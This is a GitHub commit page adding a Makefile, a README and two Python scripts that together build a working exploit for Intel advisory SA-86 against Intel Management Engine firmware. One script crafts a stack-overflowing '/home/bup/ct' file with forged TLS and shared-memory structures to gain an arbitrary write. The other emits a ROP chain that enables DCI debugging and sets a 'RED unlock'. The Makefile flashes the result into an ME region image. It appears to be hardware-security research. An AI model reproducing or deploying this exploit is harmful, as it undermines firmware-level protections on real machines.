Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
peterbjornx committed Nov 14, 2019
0 parents commit 9daa78f
Show file tree
Hide file tree
Showing 4 changed files with 267 additions and 0 deletions.
33 changes: 33 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
MFS_TEMPL=AFS_region_400K.bin
MFSTOOL=mfstool
MEREGIONTOOL=meregiontool
MECONFIGTOOL=meconfigtool
REGION_DIR=region
ROPS_BASE=379784

extract:
$(MEREGIONTOOL) x clean_rom.bin $(REGION_DIR)
# You could also extract the ROM here

rom_image.bin: meregion.bin input_rom.bin
cp input_rom.bin $@
dd conv=notrunc seek=3 bs=4096 if=meregion.bin of=$@

expl/rops.bin: sa86_rops.py
./sa86_rops.py $@

fitc/home/bup/ct: expl/rops.bin sa86_arb_wr.py
./sa86_arb_wr.py $(ROPS_BASE) expl/rops.bin $@

mfs/intel.cfg: $(shell find intel_cfg -type f)
$(MECONFIGTOOL) c $@ intel_cfg

mfs/fitc.cfg: fitc/home/bup/ct $(shell find fitc -type f)
$(MECONFIGTOOL) c $@ fitc

region/MFS.mep: $(MFS_TEMPL) mfs/intel.cfg mfs/fitc.cfg
rm -f region/MFS.mep
$(MFSTOOL) c $@ $(MFS_TEMPL) mfs

meregion.bin: $(shell find $(REGION_DIR) -type f)
$(MEREGIONTOOL) c $@ $(REGION_DIR)
23 changes: 23 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
Make sure you have this in your path:
https://pbx.sh/meimagetool-fragment.tar.gz

You can extract the binaries from an image by running
# save your ME region as clean_rom.bin
make extract

If you want to use a newly created ME region (by FITC) you can directly extract
your MFS using
mfstool x region/MFS.mep mfs
meconfigtool x mfs/intel.cfg intel_cfg
meconfigtool x mfs/fitc.cfg fitc_cfg

Otherwise, grab your ME region and extract this in your homedir
https://pbx.sh/config_spt_lp.tar.gz

You will also need the AFS_region_400K.bin file which is a resource in Intel's
Flash Image Tool

The constants in this repo are set for firmware 11.0.1205, but adapting them
should be easy once I publish my writeup.

This image will not boot, but it will enable debugging.
191 changes: 191 additions & 0 deletions sa86_arb_wr.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,191 @@
#!/usr/bin/env python3

import sys
import os
import io
import argparse

def filesz( f ):
return os.path.getsize( f.name )

def round4k( i ):
return (i + 4095) & 0xFFFFF000

def read_f( f, p, n ):
f.seek(p)
return f.read( n )

def read_a( f, n ):
b = f.read(n)
return int.from_bytes( b, byteorder='little' )

def read_a32( f ):
return read_a( f, 4 )

def read_a16( f ):
return read_a( f, 2 )

def read_r32( f ):
r = read_a32( f )
return ( r + f.tell() ) & 0xFFFFFFFF

def ver_sig( f, n, sig ):
b = f.read( len( sig ) )
if b != sig:
print( "sig mismatch for: ", n, ": ", b )
sys.exit(255)

def write_u( f, n, v ):
b = v.to_bytes(n, byteorder='little')
f.write( b )

def blki( a ):
return a // 64

def blko( a ):
return a % 64

parser = argparse.ArgumentParser(
description="Generate exploit \"/home/bup/ct\" file for Intel SA-86"
)

parser.add_argument(
'address',
metavar="address",
type=int,
help="The address to write the payload to")

parser.add_argument(
'input',
metavar="payload",
type=argparse.FileType("rb"),
help="The payload to drop")

parser.add_argument(
'output',
metavar="output",
type=argparse.FileType("wb"),
help="The path to write the output to.")

parser.add_argument(
'--stack',
'-s',
type=int,
default=0x5d000,
help="The stack top address for the program")

parser.add_argument(
'--tid',
'-t',
type=int,
default=0x3000300,
help="The thread ID for the target program (default is BUP)")

parser.add_argument(
'--ctdepth',
'-d',
type=int,
default=0x380,
help="The stack depth of the overflowed variable")

parser.add_argument(
'--errno',
'-e',
type=int,
default=0,
help="The errno to inject in the fake TLS")


ns = parser.parse_args()

stack_base = ns.stack
ct_stack_off = -ns.ctdepth
errno = ns.errno
thread_id = ns.tid
tls_size = 0x14
tls_addr = stack_base - tls_size
ct_base_addr = stack_base + ct_stack_off
ct_hdr_size = 0x8
shm_ctx_size = 0x35
shm_ctx_off = 0x68
shm_hdr_size = 0xD
payload_data = ns.input.read()
payload_size = len(payload_data)
target_addr = ns.address
f = ns.output
payload_pad = 64

print("-------------------------------")
print(" Payload details ")
print("-------------------------------")
print("payload_size: %8X"%payload_size)
print("target_addr: %8X"%target_addr)
print("")
print("-------------------------------")
print(" Target details ")
print("-------------------------------")
print("stack_base: %8X"%stack_base)
print("ct_stack_off: -%8X"%(-ct_stack_off))
print("ct_base_addr: %8X"%ct_base_addr)
print("shm_ctx_off: %8X"%shm_ctx_off)

if blki(tls_addr - ct_base_addr) != blki(stack_base - 1 - ct_base_addr):
print("warning: TLS crosses block boundary, exploit might not work!")

if blko(stack_base) != 0:
print("warning; gap between TLS and arbitrary write block")
print(" overflow will thrash heap!")

sysctx_base = tls_addr - shm_ctx_off - shm_ctx_size
shmhdr_base = tls_addr - shm_hdr_size
shmhdr_off = shmhdr_base - ct_base_addr
shmblk_cnt = ((shmhdr_off - ct_hdr_size) // 0x14)
shmblk_end = shmhdr_base
shmblk_base = shmblk_end - shmblk_cnt * 0x14
shmblk_off = shmblk_base - ct_base_addr
pad_size = shmblk_off - ct_hdr_size
target_wrad = target_addr + ct_stack_off - payload_pad

print("sysctx_base: %8X"%sysctx_base)
print("shmhdr_base: %8X"%shmhdr_base)
print("shmhdr_off: %8X"%shmhdr_off)
print("shmblk_off: %8i"%shmblk_off)
print("shmblk_base: %8X"%shmblk_base)
print("shmblk_cnt: %8i"%shmblk_cnt)
print("shmblk_end: %8X"%shmblk_end)
print("target_wrad: %8X"%target_wrad)
print("shmbuf_size: %8X"%(payload_size - ct_stack_off))
print("pad_size: %8X"%pad_size)

def write_ct_hdr( f, unk0, unk1, count ):
write_u( f, 4, unk0 )
write_u( f, 2, unk1 )
write_u( f, 2, count )

def write_tls( f, syslib_ctx, errno, gtid, stack_base ):
write_u( f, 4, 0 )
write_u( f, 4, syslib_ctx)
write_u( f, 4, errno)
write_u( f, 4, gtid)
write_u( f, 4, stack_base - 4)

def write_shm_hdr( f, blocks, nblocks ):
write_u( f, 4, blocks )
write_u( f, 4, nblocks )
write_u( f, 4, 0 )
write_u( f, 1, 0 )

def write_shm_blk( f, flags, buf, size ):
write_u( f, 4, flags ) # 00
write_u( f, 4, buf ) # 04
write_u( f, 4, size ) # 08
write_u( f, 4, 0 ) # 0C
write_u( f, 4, 0 ) # 10
write_ct_hdr( f, 0, 0, 0 )
f.write( b"\0" * pad_size )
for i in range( 0, shmblk_cnt ):
write_shm_blk( f, 1, target_wrad, payload_size + payload_pad - ct_stack_off )
write_shm_hdr( f, shmblk_base, shmblk_cnt )
write_tls( f, sysctx_base, errno, thread_id, stack_base )
f.write( b"\0" * payload_pad )
f.write( payload_data )
20 changes: 20 additions & 0 deletions sa86_rops.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
#!/usr/bin/env python3

import sys
import os
import io

def write_u( f, n, v ):
b = v.to_bytes(n, byteorder='little')
f.write( b )


a = open(sys.argv[1],"wb")

write_u( a, 4, 0x515cc ) # enable_dci_by_strap()
write_u( a, 4, 0x11b9 ) # write_seg_32
write_u( a, 4, 0x50bed ) # pop 3 args
write_u( a, 4, 0x0010f ) # write_seg_32 arg 0 : Segment selector 0x10F
write_u( a, 4, 0x00000 ) # write_seg_32 arg 1 : Offset 0
write_u( a, 4, 0x00003 ) # write_seg_32 arg 2 : Value 3 ( RED unlock )
write_u( a, 4, 0x12757 ) # infinite loop

0 comments on commit 9daa78f

Please sign in to comment.